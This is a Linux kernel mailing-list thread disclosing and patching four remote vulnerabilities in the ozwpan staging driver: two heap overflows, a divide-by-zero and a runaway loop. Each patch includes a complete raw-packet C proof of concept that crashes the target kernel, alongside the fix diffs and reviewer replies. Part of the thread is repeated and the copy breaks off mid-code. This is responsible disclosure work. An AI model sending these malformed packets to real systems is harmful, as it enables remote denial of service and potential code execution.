ozwpan: Four remote packet-of-death vulnerabilities

The ozwpan driver accepts network packets, parses them, and converts them into various USB functionality. There are numerous security vulnerabilities in the handling of these packets. Two of them result in a memcpy(kernel_buffer, network_packet, -length), one of them is a divide-by-zero, and one of them is a loop that decrements -1 until it's zero.

I've written a very simple proof-of-concept for each one of these vulnerabilities to aid with detecting and fixing them. The general operation of each proof-of-concept code is:

- Load the module with:

    # insmod ozwpan.ko g_net_dev=eth0
  - Compile the PoC with ozprotocol.h from the kernel tree:
    $ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
    $ gcc ./poc.c -o ./poc
  - Run the PoC:
    # ./poc eth0 [mac-address]

These PoCs should also be useful to the maintainers for testing out constructing and sending various other types of malformed packets against which this driver should be hardened.

Please assign CVEs for these vulnerabilities. I believe the first two patches of this set can receive one CVE for both, and the remaining two can receive one CVE each.

On a slightly related note, there are several other vulnerabilities in this driver that are worth looking into. When ozwpan receives a packet, it casts the packet into a variety of different structs, based on the value of type and length parameters inside the packet. When making these casts, and when reading bytes based on this length parameter, the actual length of the packet in the socket buffer is never actually consulted. As such, it's very likely that a packet could be sent that results in the kernel reading memory in adjacent buffers, resulting in an information leak, or from unpaged addresses, resulting in a crash. In the former case, it may be possible with certain message types to actually send these leaked adjacent bytes back to the sender of the packet. So, I'd highly recommend the maintainers of this driver go branch-by-branch from the initial rx function, adding checks to ensure all reads and casts are within the bounds of the socket buffer.

Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS

 drivers/staging/ozwpan/ozhcd.c     |  8 ++++----
 drivers/staging/ozwpan/ozusbif.h   |  4 ++--
 drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++--
 3 files changed, 15 insertions(+), 8 deletions(-)

2.3.6

Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.

This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

index d434d8c..cd6c63e 100644
@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
 	case OZ_GET_DESC_RSP: {
 			struct oz_get_desc_rsp *body =
 				(struct oz_get_desc_rsp *)usb_hdr;
-			int data_len = elt->length -
+			u8 data_len = elt->length -
 					sizeof(struct oz_get_desc_rsp) + 1;
+			if (data_len > elt->length)
+				break;
 			u16 offs = le16_to_cpu(get_unaligned(&body->offset));
 			u16 total_size =
 				le16_to_cpu(get_unaligned(&body->total_size));

2.3.6

From: Jason A. Donenfeld

...

			unsigned int data_len = elt->length;
			if (data_len < sizeof(struct oz_get_desc_rsp) + 1)
				break;

Sure.

This is code is just part of the patch context. Care to submit a follow up patch fixing this so the maintainer can incorporate it? FYI, this is a common occurrence throughout the driver, and a patch set should probably be posted that systematically fixes this problem.

This check already seems bogus? It's really:

	if (sizeof(struct oz_get_desc_rsp) - 1 < 0)

Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp)
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(2),
			.total_size = htole16(1),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozhcd.c   | 8 ++++----
 drivers/staging/ozwpan/ozusbif.h | 4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

index 5ff4716..784b5ec 100644
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
 /*
  * Context: softirq
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
-			int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+			u8 length, u16 offset, u16 total_size)
 {
 	struct oz_port *port = hport;
 	struct urb *urb;

@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
 	if (!urb)
 		return;
 	if (status == 0) {
-		int copy_len;
-		int required_size = urb->transfer_buffer_length;
+		unsigned int copy_len;
+		unsigned int required_size = urb->transfer_buffer_length;
 
 		if (required_size > total_size)
 			required_size = total_size;

index 4249fa3..d2a6085 100644
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
 
 /* Confirmation functions.
  */
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
-	const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+	const u8 *desc, u8 length, u16 offset, u16 total_size);
 void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
 	const u8 *data, int data_len);
 

2.3.6

A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed)
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

index cd6c63e..2e67956 100644
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n = (len - sizeof(struct oz_multiple_fixed)+1)
+			int n;
+			if (!body->unit_size)
+				break;
+			n = (len - sizeof(struct oz_multiple_fixed)+1)
 				/ body->unit_size;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,

2.3.6

The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

---
 drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

index 2e67956..934a571 100644
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
 			struct oz_multiple_fixed *body =
 				(struct oz_multiple_fixed *)data_hdr;
 			u8 *data = body->data;
-			int n;
+			unsigned int n;
 			if (!body->unit_size)
 				break;
 			n = (len - sizeof(struct oz_multiple_fixed)+1)
 				/ body->unit_size;
+			if (n > len / body->unit_size)
+				break;
 			while (n--) {
 				oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
 					data, body->unit_size);

2.3.6

Any reason you didn't cc: the maintainer who could actually apply these to the kernel tree?

Please use scripts/get_maintainer.pl to properly notify the correct people.

thanks,

greg k-h

I did, look at the email again: the first recipient is <[email protected]>.

STAGING - OZMO DEVICES USB OVER WIFI DRIVER
M: Shigekatsu Tateno <[email protected]>
S: Maintained
F: drivers/staging/ozwpan/

$ ./scripts/get_maintainer.pl --file drivers/staging/ozwpan/Makefile 
Shigekatsu Tateno <[email protected]> (maintainer:STAGING - OZMO DE...)
Greg Kroah-Hartman <[email protected]> (supporter:STAGING SUBSYSTEM)
[email protected] (open list:STAGING SUBSYSTEM)
[email protected] (open list)

You missed me, and the driverdev mailing list. netdev could care less about this.

Please resend to get the proper people involved.

thanks,

greg k-h

The ozwpan driver accepts network packets, parses them, and converts them into various USB functionality. There are numerous security vulnerabilities in the handling of these packets. Two of them result in a memcpy(kernel_buffer, network_packet, -length), one of them is a divide-by-zero, and one of them is a loop that decrements -1 until it's zero.

I've written a very simple proof-of-concept for each one of these vulnerabilities to aid with detecting and fixing them. The general operation of each proof-of-concept code is:

- Load the module with:

    # insmod ozwpan.ko g_net_dev=eth0
  - Compile the PoC with ozprotocol.h from the kernel tree:
    $ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
    $ gcc ./poc.c -o ./poc
  - Run the PoC:
    # ./poc eth0 [mac-address]

These PoCs should also be useful to the maintainers for testing out constructing and sending various other types of malformed packets against which this driver should be hardened.

Please assign CVEs for these vulnerabilities. I believe the first two patches of this set can receive one CVE for both, and the remaining two can receive one CVE each.

On a slightly related note, there are several other vulnerabilities in this driver that are worth looking into. When ozwpan receives a packet, it casts the packet into a variety of different structs, based on the value of type and length parameters inside the packet. When making these casts, and when reading bytes based on this length parameter, the actual length of the packet in the socket buffer is never actually consulted. As such, it's very likely that a packet could be sent that results in the kernel reading memory in adjacent buffers, resulting in an information leak, or from unpaged addresses, resulting in a crash. In the former case, it may be possible with certain message types to actually send these leaked adjacent bytes back to the sender of the packet. So, I'd highly recommend the maintainers of this driver go branch-by-branch from the initial rx function, adding checks to ensure all reads and casts are within the bounds of the socket buffer.

Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS

 drivers/staging/ozwpan/ozhcd.c     |  8 ++++----
 drivers/staging/ozwpan/ozusbif.h   |  4 ++--
 drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++--
 3 files changed, 15 insertions(+), 8 deletions(-)

2.3.6

Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.

This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>

#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"

static int hex2num(char c)

{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])

{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
